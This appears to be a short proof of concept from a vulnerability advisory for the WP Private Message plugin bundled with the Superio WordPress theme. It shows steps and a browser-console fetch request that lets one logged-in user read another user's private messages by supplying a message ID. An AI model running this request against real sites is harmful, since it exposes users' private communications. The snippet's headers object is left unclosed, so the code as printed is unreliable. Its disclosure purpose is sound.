- Install the Superio theme and its WP Private Message bundled plugin.
- Create a new private message in the backend.
- Log in as a different user.
- Generate a nonce for the logged-in user.
- From the browser console, run the following request, replacing the NONCE and MESSAGE_ID:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  "method": "POST",
  "body": "action=wp_private_message_choose_message&nonce=NONCE&message_id=MESSAGE_ID",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

- See the message data.